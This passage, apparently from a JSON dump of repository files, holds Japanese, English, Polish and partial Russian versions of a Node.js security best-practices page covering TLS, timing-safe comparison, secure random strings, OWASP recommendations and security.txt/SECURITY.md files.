暗号学的に安全な方法を使わずに擬似ランダム文字列を生成すると、攻撃者が生成結果を予測して再現し、アプリケーションを安全ではないものにしてしまう可能性があります。\r\n\r\n<br/><br/>\r\n\r\n続けて以下に、OWASP プロジェクトから重要なアドバイスをいくつか挙げてみました。\r\n\r\n## ![✔] OWASP A2: 壊れた認証\r\n\r\n- 重要なサービスやアカウントは MFA/2FA を要求する\r\n- SSH キーも含め、パスワードやアクセスキーは頻繁に変更する\r\n- 運用とアプリケーション内両方のユーザー管理おいて、強力なパスワードポリシーを適用する（[🔗 OWASP パスワードの推奨事項](https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls.22)）\r\n- デフォルトのクレデンシャル情報を使用してアプリケーションを出荷またはデプロイしない（特に管理者ユーザーや外部サービスに依存している場合）\r\n- OAuth や OpenID のような標準的な認証方法のみを使用する - ベーシック認証の使用は **避ける**\r\n- 認証レートリミット: 期間 _Y_ における _X_ 回を超えるログインを拒否する\r\n- ログインに失敗した場合は、ユーザ名とパスワードのどちらの確認に失敗したかをユーザに知らせることなく、一般的な認証エラーを返す\r\n- 従業員ごとに複数のアカウント（例えば、GitHub、AWS、Jenkinsなど）を管理することを避け、歴戦のユーザー管理システムの恩恵を受けるために、一元化されたユーザー管理システムの利用を検討する\r\n\r\n## ![✔] OWASP A5: 壊れたアクセスコントロール\r\n\r\n- [最小権限の原則](https://en.wikipedia.org/wiki/Principle_of_least_privilege)を尊重する - すべてのコンポーネントと DevOps 担当者は、必要最低限の情報とリソースにのみアクセスできるようにする\r\n- アカウント管理以外では、ルート（フル権限）アカウントでの作業は **絶対に** 行わない\r\n- ロール／サービスアカウントに代わって、すべてのインスタンス／コンテナを実行する\r\n- ユーザーではなくグループに権限を割り当てる。これにより、ほとんどの場合、権限管理がより簡単で透明性の高いものになるはずである\r\n\r\n## ![✔] OWASP A6: セキュリティの設定ミス\r\n\r\n- 本番環境内部へのアクセスは内部ネットワークを介してのみ行い、SSH または他の手段を利用する。 _絶対に_ 内部サービスは外部に公開しない\r\n- 内部ネットワークアクセスを制限する - どのリソースが他のリソースにアクセスできるかを明示的に設定する（例えば、ネットワークポリシーやサブネットなど）\r\n- Cookie（cookies）を利用している場合は、クライアントサイドの JavaScript がCookieにアクセスすることを防ぐために「HttpOnly」の設定を優先的に行う\r\n- Cookieを利用している場合は、「same site」を設定し、同ドメインからのリクエストのみ指定されたCookieを取得できるようにする\r\n- 各 VPC を厳格で性異言されたアクセスルールで保護する\r\n- STRIDE や DREAD のような標準的なセキュリティ脅威モデルを利用して脅威に優先順位を付ける\r\n- HTTP(S) と TCP ロードバランサーを使用して DDoS 攻撃に対して保護をする\r\n- 専門機関による定期的なペネトレーションテストを実施する\r\n\r\n## ![✔] OWASP A3: センシティブなデータの露出\r\n\r\n- SSL/TLS 接続のみを受け付け、ヘッダーを利用して String-Transport-Security を強制する\r\n- ネットワークをセグメント（サブネットなど）に分割し、各ノードが必要最低限のネットワークアクセス権限を持っていることを確認する\r\n- インターネットアクセスを必要としない全てのサービス/インスタンスをグループ化し、外向きの接続を明示的に禁止する（プライベートサブネット）\r\n- AWS KMS、HachiCorp Vault または Google Cloud KMS のような vault 製品にシークレットを保存する\r\n- メタデータを使用して、機密性の高いインスタンスメタデータを隔離する\r\n- データが物理的な境界線を超える際は、運んでいるデータを暗号化する\r\n- シークレットをログ情報の中に含まない\r\n- フロントエンドでは平文のパスワードを表示しないようにし、バックエンドでは必要な対策を講じて決して機密情報を平文で保存しないようにする\r\n\r\n## ![✔] OWASP A9: 既知のセキュリティ脆弱性を持つコンポーネントの使用\r\n\r\n- docker イメージをスキャンして既知の脆弱性を探す（Docker や他のベンダーのスキャンサービスを利用する）\r\n- インスタンス（マシン）の自動パッチ適用とアップグレードを有効にして、セキュリティパッチが不足している古いバージョンの OS を実行しないようにする\r\n- ユーザに「id」「access」「refresh」といったトークンを提供することで、アクセストークンの期限を短くして、refresh トークンで更新されるようにする\r\n- AWS CloudTrail のようなサービスを利用して、クラウドや管理サービスに対する API コール（例えば、誰がS3バケットを削除したのか？）のログを残し、監査を行う\r\n- クラウドプロバイダー（AWS Trusted Advisor など）のセキュリティチェッカーを実行する\r\n\r\n## ![✔] OWASP A10: ロギングとモニタリングの不足\r\n\r\n- ユーザーログイン、新規ユーザー作成、権限変更といった操作において、目立った、または疑わしい監査対象イベントが発生したらアラートする\r\n- 異常な回数のログインの失敗（もしくはパスワードを忘れた、などの同様のアクション）が発生した場合にはアラートする\r\n- 各 DB レコードにおいて更新を行った時刻とユーザー名を含める\r\n\r\n## ![✔] OWASP A7: クロスサイトスクリプティング（XSS）\r\n\r\n- EJS、Pug、React、Angular など、設計によって自動的に XSS 回避するテンプレートエンジンやフレームワークを使用する。XSS 対策のそれぞれのメカニズムの限界を知り、対象外のユースケースに適切に対処する\r\n- HTML 出力のコンテキスト（body、属性、JavaScript、CSS、URL など）に基づいて、信頼できない HTTP リクエストデータをエスケープすることで、反射型および格納型の XSS 脆弱性を解決する\r\n- クライアントサイドでブラウザの document を変更する際に context-sensitive エンコーディングを適用して DOM XSS 対策する\r\n- XSS を緩和する多層防御（defense-in-depth）として Content-Security Policy (CSP) を有効化する\r\n\r\n## ![✔] 個人識別可能な情報（PIIデータ）の保護\r\n\r\n- 個人情報（PII）とは、特定の個人を識別できるデータのことである\r\n- アプリケーションでは個人情報は暗号化して保護する\r\n- その地域におけるデータプライバシーに関する法律に従う\r\n\r\n参考となる法律:\r\n\r\n- 欧州連合（EU）: GDPR - https://ec.europa.eu/info/law/law-topic/data-protection_en\r\n- インド: https://meity.gov.in/writereaddata/files/Personal_Data_Protection_Bill,2018.pdf\r\n- シンガポール: https://www.pdpc.gov.sg/Legislation-and-Guidelines/Personal-Data-Protection-Act-Overview\r\n\r\n## ![✔] security.txt ファイルを配置する［プロダクション］\r\n\r\n**TL;DR:** 本番環境において、 Web サイトや Web アプリケーションの ```/.well-known``` ディレクトリ（/.well-known/security.txt）またはルートディレクトリ（/security.txt）配下に ```security.txt``` というテキストファイルを置いてください。```security.txt``` ファイルは、セキュリティリサーチャーが脆弱性を報告するための詳細と、報告の送り先となる責任者および組織の連絡先の詳細（E メール、電話番号）を含む必要があります。\r\n\r\n**さもないと:** 脆弱性についての報告を受けられない可能性があります。脆弱性への対応をすぐに行う機会を逃すことになります。\r\n\r\n🔗 [**さらに読む: security.txt**](https://securitytxt.org/)\r\n<br/><br/><br/>\r\n\r\n## ![✔] SECURITY.md ファイルを配置する［オープンソース］\r\n\r\n**TL;DR:** プロジェクトのセキュリティ脆弱性を責任を持って報告するための方法を示すために、 SECURITY.md ファイルを、リポジトリのルートディレクトリ、docs ディレクトリ、もしくは .github ディレクトリの中に置いてください。SECURITY.md ファイルは、セキュリティリサーチャーが脆弱性を報告するための詳細と、報告の送り先となる責任者および組織の連絡先の詳細（E メール、電話番号）を含む必要があります。\r\n\r\n**さもないと:** 脆弱性についての報告を受けられない可能性があります。脆弱性への対応をすぐに行う機会を逃すことになります。\r\n\r\n🔗 [**さらに読む: SECURITY.md**](https://help.github.com/en/github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository)\r\n\r\n<br/><br/><br/>\r\n\r\n\r\n<br/><br/><br/>\r\n"
  },
  {
    "path": "sections/security/commonsecuritybestpractices.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\r\n\r\n# Common Node.js security best practices\r\n\r\nThe common security guidelines section contains best practices that are standardized in many frameworks and conventions, running an application with SSL/TLS, for example, should be a common guideline and convention followed in every setup to achieve great security benefits.\r\n\r\n## ![✔] Use SSL/TLS to encrypt the client-server connection\r\n\r\n**TL;DR:** In the times of [free SSL/TLS certificates](https://letsencrypt.org/) and easy configuration of those, you do no longer have to weigh advantages and disadvantages of using a secure server because the advantages such as security, support of modern technology and trust clearly outweigh the disadvantages like minimal overhead compared to pure HTTP.\r\n\r\n**Otherwise:** Attackers could perform man-in-the-middle attacks, spy on your users' behaviour and perform even more malicious actions when the connection is unencrypted\r\n\r\n🔗 [**Read More: Running a secure Node.js server**](./secureserver.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] Comparing secret values and hashes securely\r\n\r\n**TL;DR:** When comparing secret values or hashes like HMAC digests, you should use the [`crypto.timingSafeEqual(a, b)`](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b) function Node provides out of the box since Node.js v6.6.0. This method compares two given objects and keeps comparing even if data does not match. The default equality comparison methods would simply return after a character mismatch, allowing timing attacks based on the operation length.\r\n\r\n**Otherwise:** Using default equality comparison operators you might expose critical information based on the time taken to compare two objects\r\n\r\n<br/><br/>\r\n\r\n## ![✔] Generating random strings using Node.js\r\n\r\n**TL;DR:** Using a custom-built function generating pseudo-random strings for tokens and other security-sensitive use cases might actually not be as random as you think, rendering your application vulnerable to cryptographic attacks. When you have to generate secure random strings, use the [`crypto.randomBytes(size, [callback])`](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback) function using available entropy provided by the system.\r\n\r\n**Otherwise:** When generating pseudo-random strings without cryptographically secure methods, attackers might predict and reproduce the generated results, rendering your application insecure\r\n\r\n<br/><br/>\r\n\r\nGoing on, below we've listed some important bits of advice from the OWASP project.\r\n\r\n## ![✔] OWASP A2: Broken Authentication\r\n\r\n- Require MFA/2FA for important services and accounts\r\n- Rotate passwords and access keys frequently, including SSH keys\r\n- Apply strong password policies, both for ops and in-application user management ([🔗 OWASP password recommendation](https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls.22))\r\n- Do not ship or deploy your application with any default credentials, particularly for admin users or external services you depend on\r\n- Use only standard authentication methods like OAuth, OpenID, etc.  - **avoid** basic authentication\r\n- Auth rate limiting: Disallow more than _X_ login attempts (including password recovery, etc.) in a period of _Y_\r\n- On login failure, don't let the user know whether the username or password verification failed, just return a common auth error\r\n- Consider using a centralized user management system to avoid managing multiple accounts per employee (e.g. GitHub, AWS, Jenkins, etc) and to benefit from a battle-tested user management system\r\n\r\n## ![✔] OWASP A5:  Broken access control\r\n\r\n- Respect the [principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege)  -  every component and DevOps person should only have access to the necessary information and resources\r\n- **Never** work with the console/root (full-privilege) account except for account management\r\n- Run all instances/containers on behalf of a role/service account\r\n- Assign permissions to groups and not to users. This should make permission management easier and more transparent for most cases\r\n\r\n## ![✔] OWASP A6: Security Misconfiguration\r\n\r\n- Access to production environment internals is done through the internal network only, use SSH or other ways, but _never_ expose internal services\r\n- Restrict internal network access  - explicitly set which resource can access other resources (e.g. network policy or subnets)\r\n- If using cookies, configure it to \"secured\" mode where it's being sent over SSL only\r\n- If using cookies, configure it for \"same site\" only so only requests from same domain will get back the designated cookies\r\n- If using cookies, prefer \"HttpOnly\" configuration that prevent client-side JavaScript code from accessing the cookies\r\n- Protect each VPC with strict and restrictive access rules\r\n- Prioritize threats using any standard security threat modeling like STRIDE or DREAD\r\n- Protect against DDoS attacks using HTTP(S) and TCP load balancers\r\n- Perform periodic penetration tests by specialized agencies\r\n\r\n## ![✔] OWASP A3: Sensitive Data Exposure\r\n\r\n- Only accept SSL/TLS connections, enforce Strict-Transport-Security using headers\r\n- Separate the network into segments (i.e. subnets) and ensure each node has the least necessary networking access permissions\r\n- Group all services/instances that need no internet access and explicitly disallow any outgoing connection (a.k.a private subnet)\r\n- Store all secrets in a vault products like AWS KMS, HashiCorp Vault or Google Cloud KMS\r\n- Lockdown sensitive instance metadata using metadata\r\n- Encrypt data in transit when it leaves a physical boundary\r\n- Don't include secrets in log statements\r\n- Avoid showing plain passwords in the frontend, take necessary measures in the backend and never store sensitive information in plaintext\r\n\r\n## ![✔] OWASP A9: Using Components With Known Security Vulneraibilities\r\n\r\n- Scan docker images for known vulnerabilities (using Docker's and other vendors' scanning services)\r\n- Enable automatic instance (machine) patching and upgrades to avoid running old OS versions that lack security patches\r\n- Provide the user with both 'id', 'access' and 'refresh' token so the access token is short-lived and renewed with the refresh token\r\n- Log and audit each API call to cloud and management services (e.g who deleted the S3 bucket?) using services like AWS CloudTrail\r\n- Run the security checker of your cloud provider (e.g. AWS security trust advisor)\r\n\r\n\r\n## ![✔] OWASP A10: Insufficient Logging & Monitoring\r\n\r\n- Alert on remarkable or suspicious auditing events like user login, new user creation, permission change, etc\r\n- Alert on irregular amount of login failures (or equivelant actions like forgot password)\r\n- Include the time and username that initiated the update in each DB record\r\n\r\n## ![✔] OWASP A7: Cross-Site-Scripting (XSS)\r\n\r\n- Use templating engines or frameworks that automatically escape XSS by design, such as EJS, Pug, React, or Angular. Learn the limitations of each mechanisms XSS protection and appropriately handle the use cases which are not covered\r\n- Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities\r\n- Applying context-sensitive encoding when modifying the browser document on the client-side acts against DOM XSS\r\n- Enabling a Content-Security Policy (CSP) as a defense-in-depth mitigating control against XSS\r\n\r\n## ![✔] Protect Personally Identifyable Information (PII Data)\r\n\r\n- Personally identifiable information (PII) is any data that can be used to identify a specific individual\r\n- Protect Personally Identifyable Information in the Applications by encrypting them\r\n- Follow the data privacy laws of the land. Reference laws:\r\n  - European Union: GDPR - https://ec.europa.eu/info/law/law-topic/data-protection_en\r\n  - India: https://meity.gov.in/writereaddata/files/Personal_Data_Protection_Bill,2018.pdf\r\n  - Singapore: https://www.pdpc.gov.sg/Overview-of-PDPA/The-Legislation/Personal-Data-Protection-Act\r\n\r\n## ![✔] Have a security.txt File [PRODUCTION]\r\n\r\n**TL;DR:** Have a text file called ```security.txt``` under ```/.well-known```  directory (/.well-known/security.txt) or in the root directory (/security.txt) of your website or your web application in production. ```security.txt``` file should contain details using which security researchers can report vulnerabilities and also the contact details of the responsible person/group (email id and/or phone numbers) to whom the reports have to be sent. \r\n\r\n**Otherwise:** You may not be notified about the vulnerabilities. You will miss the opportunity to act on the vulnerabilities in time.\r\n\r\n🔗 [**Read More: security.txt**](https://securitytxt.org/)\r\n<br/><br/><br/>\r\n\r\n## ![✔] Have a SECURITY.md File [OPEN SOURCE]\r\n\r\n**TL;DR:** To give people instructions for responsibly reporting security vulnerabilities in your project, you can add a SECURITY.md file to your repository's root, docs, or .github folder. SECURITY.md file should contain details using which security researchers can report vulnerabilities and also the contact details of the responsible person/group (email id and/or phone numbers) to whom the reports have to be sent. \r\n\r\n**Otherwise:** You may not be notified about the vulnerabilities. You will miss the opportunity to act on the vulnerabilities in time.\r\n\r\n🔗 [**Read More: SECURITY.md**](https://help.github.com/en/github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository)\r\n\r\n<br/><br/><br/>\r\n\r\n\r\n<br/><br/><br/>\r\n"
  },
  {
    "path": "sections/security/commonsecuritybestpractices.polish.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\n\n# Typowe najlepsze praktyki bezpieczeństwa Node.js\n\nSekcja wspólnych wskazówek bezpieczeństwa zawiera najlepsze praktyki, które są znormalizowane w wielu ramach i konwencjach, na przykład uruchamianie aplikacji za pomocą protokołu SSL / TLS powinno być wspólną wytyczną i konwencją przestrzeganą w każdej konfiguracji, aby osiągnąć ogromne korzyści bezpieczeństwa.\n\n## ![✔] Użyj SSL / TLS, aby zaszyfrować połączenie klient-serwer\n\n**TL;DR:** W czasach [darmowych certyfikatów SSL/TLS](https://letsencrypt.org/) i ich łatwej konfiguracji, nie musisz już rozważać zalet i wad korzystania z bezpiecznego serwera, ponieważ zalety takie jak bezpieczeństwo, obsługa nowoczesnej technologii i zaufanie wyraźnie przewyższają wady takie jak minimalny narzut w porównaniu do czystego HTTP.\n\n**W przeciwnym razie:** Atakujący mogą przeprowadzać ataki typu man-in-the-middle, szpiegować zachowanie użytkowników i wykonywać jeszcze bardziej złośliwe działania, gdy połączenie nie jest szyfrowane\n\n🔗 [**Czytaj więcej: Running a secure Node.js server**](./secureserver.md)\n\n<br/><br/>\n\n## ![✔] Bezpieczne porównywanie wartości poufnych i skrótów\n\n**TL;DR:** Porównując tajne wartości lub skróty, takie jak skróty HMAC, powinieneś użyć [`crypto.timingSafeEqual(a,b)`]](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b) funkcja Node'a udostępnia od razu po instalacji od wersji Node.js v6.6.0. Ta metoda porównuje dwa podane obiekty i porównuje, nawet jeśli dane się nie zgadzają. Domyślne metody porównywania równości powróciłyby po niedopasowaniu znaków, umożliwiając ataki czasowe na podstawie długości operacji.\n\n**W przeciwnym razie:** Używając domyślnych operatorów porównania równości, możesz ujawnić krytyczne informacje na podstawie czasu potrzebnego na porównanie dwóch obiektów\n\n<br/><br/>\n\n## ![✔] Generowanie losowych ciągów za pomocą Node.js\n\n**TL;DR:** Korzystanie z niestandardowej funkcji generującej pseudolosowe ciągi znaków dla tokenów i innych wrażliwych na bezpieczeństwo przypadków użycia może nie być tak losowe, jak myślisz, co może narazić Twoją aplikację na ataki kryptograficzne. Gdy musisz wygenerować bezpieczne losowe ciągi, użyj [`crypto.randomBytes(size,[callback])`](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback) przy użyciu dostępnej entropii dostarczonej przez system.\n\n**W przeciwnym razie:** Podczas generowania pseudolosowych ciągów bez metod kryptograficznych osoby atakujące mogą przewidywać i odtwarzać wygenerowane wyniki, co powoduje, że aplikacja nie jest bezpieczna\n\n<br/><br/>\n\nDalej, poniżej wymieniliśmy kilka ważnych porad z projektu OWASP.\n\n## ![✔] OWASP A2: Broken Authentication\n\n- Wymagaj MFA / 2FA dla ważnych usług i kont\n- Często zmieniaj hasła i klucze dostępu, w tym klucze SSH\n- Zastosuj silne zasady haseł, zarówno w przypadku operacji, jak i zarządzania użytkownikami w aplikacji ([🔗 OWASP password recommendation](https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls.22))\n- Nie wysyłaj ani nie wdrażaj aplikacji z domyślnymi poświadczeniami, szczególnie dla użytkowników administracyjnych lub usług zewnętrznych, od których zależysz\n- Używaj tylko standardowych metod uwierzytelniania, takich jak OAuth, OpenID itp. - **Unikaj** Podstawowego uwierzytelnienia\n- Ograniczanie szybkości uwierzytelniania: nie zezwalaj na więcej niż _X_ prób logowania (w tym odzyskiwania hasła itp.) w okresie _Y_\n- W przypadku niepowodzenia logowania nie informuj użytkownika, czy weryfikacja nazwy użytkownika lub hasła nie powiodła się, po prostu zwróć typowy błąd uwierzytelnienia\n- Rozważ zastosowanie scentralizowanego systemu zarządzania użytkownikami, aby uniknąć zarządzania wieloma kontami na pracownika (np. GitHub, AWS, Jenkins itp.) i skorzystaj z przetestowanego w walce systemu zarządzania użytkownikami\n\n## ![✔] OWASP A5:  Broken access control\n\n- Przestrzegaj [zasady najmniejszych przywilejów](https://en.wikipedia.org/wiki/Principle_of_least_privilege)  -  każdy komponent i osoba DevOps powinna mieć dostęp tylko do niezbędnych informacji i zasobów\n- **Nigdy** nie pracuj z console/root (pełne uprawnienia) z wyjątkiem zarządzania kontem\n- Uruchom wszystkie instancje / kontenery w imieniu konta roli / usługi\n- Przypisywanie uprawnień grupom, a nie użytkownikom. Powinno to uczynić zarządzanie uprawnieniami łatwiejszymi i bardziej przejrzystymi w większości przypadków\n\n## ![✔] OWASP A6: Security Misconfiguration\n\n- Dostęp do wewnętrznych elementów środowiska produkcyjnego odbywa się tylko przez sieć wewnętrzną, użyj SSH lub w inny sposób, ale _nigdy_ nie ujawnij usługi wewnętrznej\n- Ogranicz dostęp do sieci wewnętrznej - jawnie określ, który zasób może uzyskać dostęp do innych zasobów (np. zasad sieciowych lub podsieci)\n- Jeśli używasz plików cookie, skonfiguruj go w tryb „bezpieczny”, w którym jest wysyłany tylko przez SSL\n- Jeśli używasz plików cookie, skonfiguruj je tylko dla „tej samej strony”, aby tylko żądania z tej samej domeny odzyskały wyznaczone pliki cookie\n- W przypadku korzystania z plików cookie preferuj konfigurację „HttpOnly”, która uniemożliwia dostęp do plików cookie przez kod JavaScript po stronie klienta\n- Chroń każdego VPC za pomocą ścisłych i restrykcyjnych zasad dostępu\n- Priorytetyzuj zagrożenia za pomocą dowolnego standardowego modelowania zagrożeń bezpieczeństwa, takiego jak STRIDE lub DREAD\n- Ochrona przed atakami DDoS za pomocą równoważników obciążenia HTTP (S) i TCP\n- Przeprowadzaj okresowe testy penetracyjne przez wyspecjalizowane agencje\n\n## ![✔] OWASP A3: Sensitive Data Exposure\n\n- Akceptuj tylko połączenia SSL / TLS, wymuszaj ścisłe bezpieczeństwo transportu za pomocą nagłówków\n- Podziel sieć na segmenty (tj. podsieci) i upewnij się, że każdy węzeł ma najmniej niezbędne uprawnienia dostępu do sieci\n- Zgrupuj wszystkie usługi / wystąpienia, które nie wymagają dostępu do Internetu, i wyraźnie nie zezwalaj na żadne połączenie wychodzące (np. prywatna podsieć)\n- Przechowuj wszystkie dane wrażliwe w produktach Vault, takich jak AWS KMS, HashiCorp Vault lub Google Cloud KMS\n- Metadane instancji wrażliwej na blokadę przy użyciu metadanych\n- Szyfruj przesyłane dane, gdy opuszczą fizyczną granicę\n- Nie dołączaj danych wrażliwych do instrukcji dziennika\n- Unikaj wyświetlania prostych haseł w interfejsie użytkownika, podejmuj niezbędne środki w interfejsie i nigdy nie przechowuj poufnych informacji w postaci zwykłego tekstu\n\n## ![✔] OWASP A9: Using Components With Known Security Vulneraibilities\n\n- Skanuj obrazy dokerów w poszukiwaniu znanych luk (przy użyciu Dockera i innych dostawców oferują usługi skanowania)\n- Włącz automatyczne łatanie i aktualizowanie instancji (maszyny), aby uniknąć uruchamiania starych wersji systemu operacyjnego, które nie zawierają poprawek zabezpieczeń\n- Zapewnij użytkownikowi zarówno token „id”, „access”, jak i „refresh”, aby token dostępu był krótkotrwały i odnowiony tokenem odświeżania\n- Rejestruj i kontroluj każde wywołanie interfejsu API do usług w chmurze i usług zarządzania (np. Kto usunął segment S3?) Za pomocą usług takich jak AWS CloudTrail\n- Uruchom narzędzie do sprawdzania bezpieczeństwa dostawcy usług w chmurze (np. doradca ds. zaufania bezpieczeństwa AWS)\n\n## ![✔] OWASP A10: Insufficient Logging & Monitoring\n\n- Ostrzegaj o niezwykłych lub podejrzanych zdarzeniach kontrolnych, takich jak logowanie użytkownika, tworzenie nowego użytkownika, zmiana uprawnień itp\n- Alarm o nieregularnej liczbie błędów logowania (lub równoważnych działań, takich jak zapomnienie hasła)\n- Dołącz czas i nazwę użytkownika, które zainicjowały aktualizację do każdego rekordu BD\n\n## ![✔] OWASP A7: Cross-Site-Scripting (XSS)\n\n- Używaj szablonów lub struktur szablonów, które automatycznie uciekają z XSS zgodnie z projektem, takich jak EJS, Pug, React lub Angular. Poznaj ograniczenia każdego mechanizmu ochrony XSS i odpowiednio obsługuj przypadki użycia, które nie są objęte\n- Ucieczka niezaufanych danych żądań HTTP na podstawie kontekstu w danych wyjściowych HTML (treść, atrybut, JavaScript, CSS lub adres URL) usunie podatność na Reflected i Stored XSS\n- Zastosowanie kodowania kontekstowego podczas modyfikowania dokumentu przeglądarki po stronie klienta działa przeciwko DOM XSS\n- Włączenie polityki bezpieczeństwa treści (CSP) jako dogłębnej obrony ograniczającej kontrolę nad XSS\n\n<br/><br/><br/>\n"
  },
  {
    "path": "sections/security/commonsecuritybestpractices.russian.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\r\n\r\n# Общие рекомендации по безопасности Node.js\r\n\r\nРаздел общих рекомендаций по безопасности содержит рекомендации, которые стандартизированы во многих платформах и соглашениях, например, запуск приложения с SSL/TLS должен быть общим руководством и соглашением, которое следует соблюдать при каждой настройке для достижения значительных преимуществ безопасности.\r\n\r\n## ![✔] Используйте SSL/TLS для шифрования соединения клиент-сервер\r\n\r\n**TL;DR:** Во времена [бесплатных SSL/TLS-сертификатов](https://letsencrypt.org/) и их простой настройки вам больше не нужно взвешивать преимущества и недостатки использования безопасного сервера, потому что такие преимущества, как безопасность, поддержка современных технологий и доверие, явно перевешивают такие недостатки, как минимальные издержки по сравнению с чистым HTTP.\r\n\r\n**Иначе:** Злоумышленники могут выполнять атаки \"человек посередине\", следить за поведением ваших пользователей и совершать еще более злонамеренные действия, когда соединение не зашифровано.\r\n\r\n🔗 [**Read More: Запуск безопасного Node.js сервера**](./secureserver.russian.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] Безопасное сравнение секретных значений и хэшей\r\n\r\n**TL;DR:** При сравнении секретных значений или хэшей, таких как код HMAC, вы должны использовать [`crypto.timingSafeEqual(a, b)`](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b) функция Node обеспечивает готовую работу, начиная с Node.js v6.6.0. Этот метод сравнивает два заданных объекта и продолжает сравнивать, даже если данные не совпадают. Методы сравнения равенства по умолчанию просто возвращались бы после несоответствия символов, позволяя рассчитывать время атаки на основе длины операции.\r\n\r\n**Иначе:** Используя операторы сравнения равенства по умолчанию, вы можете предоставить критическую информацию, основываясь на времени, затраченном на сравнение двух объектов.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] Генерация случайных строк с использованием Node.js\r\n\r\n**TL;DR:** Использование специально созданной функции, генерирующей псевдослучайные строки для токенов и других чувствительных к безопасности случаев использования, на самом деле может быть не таким случайным, как вы думаете, что делает ваше приложение уязвимым для криптографических атак. Когда вам нужно создать безопасные случайные строки, используйте [`crypto.randomBytes(size, [callback])`](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback), используя доступную энтропию, предоставляемую системой.\r\n\r\n**Иначе:** При создании псевдослучайных строк без криптографически безопасных методов злоумышленники могут прогнозировать и воспроизводить сгенерированные результаты, делая ваше приложение небезопасным\r\n\r\n<br/><br/>\r\n\r\nДалее мы перечислили несколько важных советов от проекта OWASP.\r\n\r\n## ![✔] OWASP A2: сломанная аутентификация\r\n\r\n- Требуйте MFA/2FA для важных услуг и учетных записей\r\n- Чаще меняйте пароли и ключи доступа, включая ключи SSH.\r\n- Применяйте политики надежных паролей как для операций, так и для управления пользователями внутри приложения ([🔗 OWASP password recommendation](https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls.22))\r\n- Не отправляйте и не развертывайте свое приложение с какими-либо учетными данными по умолчанию, особенно для пользователей-администраторов или внешних служб, от которых вы зависите\r\n- Используйте только стандартные методы аутентификации, такие как OAuth, OpenID и т.д. - **избегайте** базовой аутентификации\r\n- Ограничивайте скорость авторизации: запрещать более _X_ попыток входа в систему (включая восстановление пароля и т.д.) в период _Y_\r\n- При неудачном входе в систему не сообщайте пользователю, прошла ли проверка имени пользователя или пароля, просто верните общую ошибку аутентификации\r\n- Рассмотрите возможность использования централизованной системы управления пользователями, чтобы избежать управления несколькими учетными записями на одного сотрудника (например, GitHub, AWS, Jenkins и т.д.) и воспользоваться проверенной в бою системой управления пользователями\r\n\r\n## ![✔] OWASP A5: нарушен контроль доступа\r\n\r\n- Уважайте [Принцип минимальных привилегий](https://ru.wikipedia.org/wiki/Принцип_минимальных_привилегий) - каждый компонент и сотрудник DevOps должны иметь доступ только к необходимой информации и ресурсам\r\n- **Никогда** не работаю с консольной/корневой (полной привилегией) учетной записью, за исключением управления учетными записями\r\n- Запустите все экземпляры/контейнеры от имени роли/учетной записи службы.\r\n- Назначьте разрешения для групп, а не для пользователей. Это должно сделать управление разрешениями проще и прозрачнее для большинства случаев\r\n\r\n## ![✔] OWASP A6: неправильная настройка безопасности\r\n\r\n- Доступ к внутренним компонентам производственной среды осуществляется только через внутреннюю сеть, с использованием SSH или других способов, но _никогда_ не предоставляйте внутренние службы\r\n- Ограничьте доступ к внутренней сети - явно указывайте, какой ресурс может получить доступ к другим ресурсам (например, политика сети или подсети).\r\n- При использовании файлов cookie настройте его в \"защищенный\" режим, когда он отправляется только по SSL\r\n- При использовании файлов cookie настройте его только для \"одного сайта\", чтобы только запросы с одного домена возвращали указанные файлы cookie.\r\n- При использовании файлов cookie, предпочитайте конфигурацию \"HttpOnly\", которая не позволяет клиентскому JavaScript-коду получить доступ к файлам cookie.\r\n- Защитите каждый VPC с помощью строгих и ограничительных правил доступа.\r\n- Расставляйте приоритеты угроз, используя любое стандартное моделирование угроз безопасности, такое как STRIDE или DREAD\r\n- Защищайтесь от DDoS-атак с использованием балансировщиков нагрузки HTTP(S) и TCP.\r\n- Проводите периодические тесты на проникновение специализированными агентствами.\r\n\r\n##! [✔] OWASP A3: раскрытие конфиденциальных данных\r\n\r\n- Принимайте только соединения SSL/TLS, применяйте Strict-Transport-Security с использованием заголовков.\r\n- Разделите сеть на сегменты (то есть подсети) и убедитесь, что у каждого узла есть наименее необходимые разрешения на доступ к сети.\r\n- Сгруппируйте все службы/экземпляры, которым не нужен доступ в Интернет, и явно запретите любое исходящее соединение (a.k.a частная подсеть)\r\n- Храните все секреты в таких хранилищах, как AWS KMS, HashiCorp Vault или Google Cloud KMS.\r\n- Блокируйте чувствительные метаданные экземпляра с использованием метаданных\r\n- Шифруйте данные при передаче, когда они покидают физическую границу\r\n- Не включайте секреты в записи журнала\r\n- Избегайте показа простых паролей во внешнем интерфейсе, примите необходимые меры в бэкэнде и никогда не храните конфиденциальную информацию в открытом виде\r\n\r\n## ![✔] OWASP A9: использование компонентов с известными уязвимостями безопасности\r\n\r\n- Сканируйте образы докеров на наличие известных уязвимостей (с помощью Docker и других поставщиков, предлагающих услуги сканирования)\r\n- Включите автоматическое исправление и обновление экземпляра (компьютера), чтобы избежать запуска старых версий ОС, в которых отсутствуют исправления безопасности.\r\n- Предоставьте пользователю токены \"id\", \"access\" и \"refresh\", чтобы токен доступа был недолговечным и обновлялся токеном 